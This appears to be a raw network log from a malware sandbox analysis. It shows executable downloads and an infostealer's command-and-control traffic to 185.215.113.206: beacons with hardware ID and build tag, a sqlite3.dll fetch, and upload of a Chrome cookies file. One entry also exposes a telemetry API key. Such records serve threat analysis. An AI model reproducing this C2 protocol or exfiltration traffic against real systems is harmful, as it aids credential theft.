Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 15 Nov 2024 15:17:29 GMTContent-Type: application/octet-streamContent-Length: 2848768Last-Modified: Fri, 15 Nov 2024 15:04:04 GMTConnection: keep-aliveETag: "673762e4-2b7800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2c 00 00 04 00 00 3e 34 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 63 71 72 6a 65 79 74 74 00 20 2b 00 00 a0 00 00 00 16 2b 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 66 74 69 66 7a 6f 73 71 00 20 00 00 00 c0 2b 00 00 06 00 00 00 50 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 e0 2b 00 00 22 00 00 00 56 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 15 Nov 2024 15:17:39 GMTContent-Type: application/octet-streamContent-Length: 2848768Last-Modified: Fri, 15 Nov 2024 15:04:06 GMTConnection: keep-aliveETag: "673762e6-2b7800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2c 00 00 04 00 00 3e 34 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 63 71 72 6a 65 79 74 74 00 20 2b 00 00 a0 00 00 00 16 2b 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 66 74 69 66 7a 6f 73 71 00 20 00 00 00 c0 2b 00 00 06 00 00 00 50 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 e0 2b 00 00 22 00 00 00 56 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 15 Nov 2024 15:17:50 GMTContent-Type: application/octet-streamContent-Length: 2848768Last-Modified: Fri, 15 Nov 2024 15:04:06 GMTConnection: keep-aliveETag: "673762e6-2b7800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2c 00 00 04 00 00 3e 34 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 63 71 72 6a 65 79 74 74 00 20 2b 00 00 a0 00 00 00 16 2b 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 66 74 69 66 7a 6f 73 71 00 20 00 00 00 c0 2b 00 00 06 00 00 00 50 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 e0 2b 00 00 22 00 00 00 56 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 15 Nov 2024 15:18:38 GMTContent-Type: application/octet-streamContent-Length: 2848768Last-Modified: Fri, 15 Nov 2024 15:04:06 GMTConnection: keep-aliveETag: "673762e6-2b7800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2c 00 00 04 00 00 3e 34 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 63 71 72 6a 65 79 74 74 00 20 2b 00 00 a0 00 00 00 16 2b 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 66 74 69 66 7a 6f 73 71 00 20 00 00 00 c0 2b 00 00 06 00 00 00 50 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 e0 2b 00 00 22 00 00 00 56 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: POST /OneCollector/1.0/ HTTP/1.1Accept: /APIKey: cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521AuthMsaDeviceTicket: t=GwAWAbuEBAAU2qcZHJoKGNizGOeyqM4OaIoSZ0MOZgAAENhIsZk1icdmK4NNtUk6KLPgAMvy17Udgd1MlHE7GXRAxu9wDd84HaOk1nGIMKru6radFnZDfu7zWhcmz9j72MdI/lM5JykN5JyMCsrKKjhnWsxMrSmUTHFAm4lCtsR/4kXJ5OVGBubVm1qKlLaqfTPe4/QIS6EsPZhp2A+GbXPmd9v7KWe0y9ZBVkGnVgT2XAL69MHD65Z2sZ/bvdyK2Z9GRgl5dhajOwb9unLzQz2LihgZzhVMiIEIlP0Ox0qtNEB072yB6rGFSpbQMfXp3Qm9wrLMHPG0cNIMKQ3+lgA3sY/VTGnPGJVnsHSsfW8D9dyBIAE=&p=Client-Id: NO_AUTHContent-Encoding: deflateContent-Type: application/bond-compact-binaryExpect: 100-continueSDK-Version: EVT-Windows-C++-No-3.4.15.1Upload-Time: 1731684049767Host: self.events.data.microsoft.comContent-Length: 7972Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGIDHIIJKEBGHJJKFIDAHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 47 49 44 48 49 49 4a 4b 45 42 47 48 4a 4a 4b 46 49 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 31 32 33 31 42 34 33 35 46 39 30 31 39 34 32 37 37 39 37 33 36 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 44 48 49 49 4a 4b 45 42 47 48 4a 4a 4b 46 49 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 44 48 49 49 4a 4b 45 42 47 48 4a 4a 4b 46 49 44 41 2d 2d 0d 0a Data Ascii: ------CGIDHIIJKEBGHJJKFIDAContent-Disposition: form-data; name="hwid"31231B435F901942779736------CGIDHIIJKEBGHJJKFIDAContent-Disposition: form-data; name="build"mars------CGIDHIIJKEBGHJJKFIDA--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHCGCAAKJDHJJJJJKKKFHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 48 43 47 43 41 41 4b 4a 44 48 4a 4a 4a 4a 4a 4b 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 61 38 36 62 32 37 35 38 37 62 35 35 65 30 61 35 33 39 32 32 63 34 30 64 35 64 39 33 61 30 66 30 32 66 30 64 37 36 65 33 32 36 39 32 35 33 36 63 36 62 32 37 36 31 62 61 39 33 66 39 31 35 36 34 61 65 65 63 36 32 36 0d 0a 2d 2d 2d 2d 2d 2d 46 48 43 47 43 41 41 4b 4a 44 48 4a 4a 4a 4a 4a 4b 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 46 48 43 47 43 41 41 4b 4a 44 48 4a 4a 4a 4a 4a 4b 4b 4b 46 2d 2d 0d 0a Data Ascii: ------FHCGCAAKJDHJJJJJKKKFContent-Disposition: form-data; name="token"ba86b27587b55e0a53922c40d5d93a0f02f0d76e32692536c6b2761ba93f91564aeec626------FHCGCAAKJDHJJJJJKKKFContent-Disposition: form-data; name="message"browsers------FHCGCAAKJDHJJJJJKKKF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGCFHIDAKECFHIEBFCGIHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 43 46 48 49 44 41 4b 45 43 46 48 49 45 42 46 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 61 38 36 62 32 37 35 38 37 62 35 35 65 30 61 35 33 39 32 32 63 34 30 64 35 64 39 33 61 30 66 30 32 66 30 64 37 36 65 33 32 36 39 32 35 33 36 63 36 62 32 37 36 31 62 61 39 33 66 39 31 35 36 34 61 65 65 63 36 32 36 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 46 48 49 44 41 4b 45 43 46 48 49 45 42 46 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 46 48 49 44 41 4b 45 43 46 48 49 45 42 46 43 47 49 2d 2d 0d 0a Data Ascii: ------DGCFHIDAKECFHIEBFCGIContent-Disposition: form-data; name="token"ba86b27587b55e0a53922c40d5d93a0f02f0d76e32692536c6b2761ba93f91564aeec626------DGCFHIDAKECFHIEBFCGIContent-Disposition: form-data; name="message"plugins------DGCFHIDAKECFHIEBFCGI--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIJJDGHJKKJEBFHJDBGHHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 49 4a 4a 44 47 48 4a 4b 4b 4a 45 42 46 48 4a 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 61 38 36 62 32 37 35 38 37 62 35 35 65 30 61 35 33 39 32 32 63 34 30 64 35 64 39 33 61 30 66 30 32 66 30 64 37 36 65 33 32 36 39 32 35 33 36 63 36 62 32 37 36 31 62 61 39 33 66 39 31 35 36 34 61 65 65 63 36 32 36 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 4a 44 47 48 4a 4b 4b 4a 45 42 46 48 4a 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 4a 44 47 48 4a 4b 4b 4a 45 42 46 48 4a 44 42 47 48 2d 2d 0d 0a Data Ascii: ------IIJJDGHJKKJEBFHJDBGHContent-Disposition: form-data; name="token"ba86b27587b55e0a53922c40d5d93a0f02f0d76e32692536c6b2761ba93f91564aeec626------IIJJDGHJKKJEBFHJDBGHContent-Disposition: form-data; name="message"fplugins------IIJJDGHJKKJEBFHJDBGH--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHJDHDAECBGCAKEBAEBAHost: 185.215.113.206Content-Length: 6167Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBGIDGCAFCBKECAAKJJKHost: 185.215.113.206Content-Length: 427Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 47 49 44 47 43 41 46 43 42 4b 45 43 41 41 4b 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 61 38 36 62 32 37 35 38 37 62 35 35 65 30 61 35 33 39 32 32 63 34 30 64 35 64 39 33 61 30 66 30 32 66 30 64 37 36 65 33 32 36 39 32 35 33 36 63 36 62 32 37 36 31 62 61 39 33 66 39 31 35 36 34 61 65 65 63 36 32 36 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 49 44 47 43 41 46 43 42 4b 45 43 41 41 4b 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 49 44 47 43 41 46 43 42 4b 45 43 41 41 4b 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 49 44 47 43 41 46 43 42 4b 45 43 41 41 4b 4a 4a 4b 2d 2d 0d 0a Data Ascii: ------EBGIDGCAFCBKECAAKJJKContent-Disposition: form-data; name="token"ba86b27587b55e0a53922c40d5d93a0f02f0d76e32692536c6b2761ba93f91564aeec626------EBGIDGCAFCBKECAAKJJKContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------EBGIDGCAFCBKECAAKJJKContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------EBGIDGCAFCBKECAAKJJK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIIECAAKECFHIECBKJDHHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 49 49 45 43 41 41 4b 45 43 46 48 49 45 43 42 4b 4a 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 61 38 36 62 32 37 35 38 37 62 35 35 65 30 61 35 33 39 32 32 63 34 30 64 35 64 39 33 61 30 66 30 32 66 30 64 37 36 65 33 32 36 39 32 35 33 36 63 36 62 32 37 36 31 62 61 39 33 66 39 31 35 36 34 61 65 65 63 36 32 36 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 45 43 41 41 4b 45 43 46 48 49 45 43 42 4b 4a 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 45 43 41 41 4b 45 43 46 48 49 45 43 42 4b 4a 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 45 43 41 41 4b 45 43 46 48 49 45 43 42 4b 4a 44 48 2d 2d 0d 0a Data Ascii: ------IIIECAAKECFHIECBKJDHContent-Disposition: form-data; 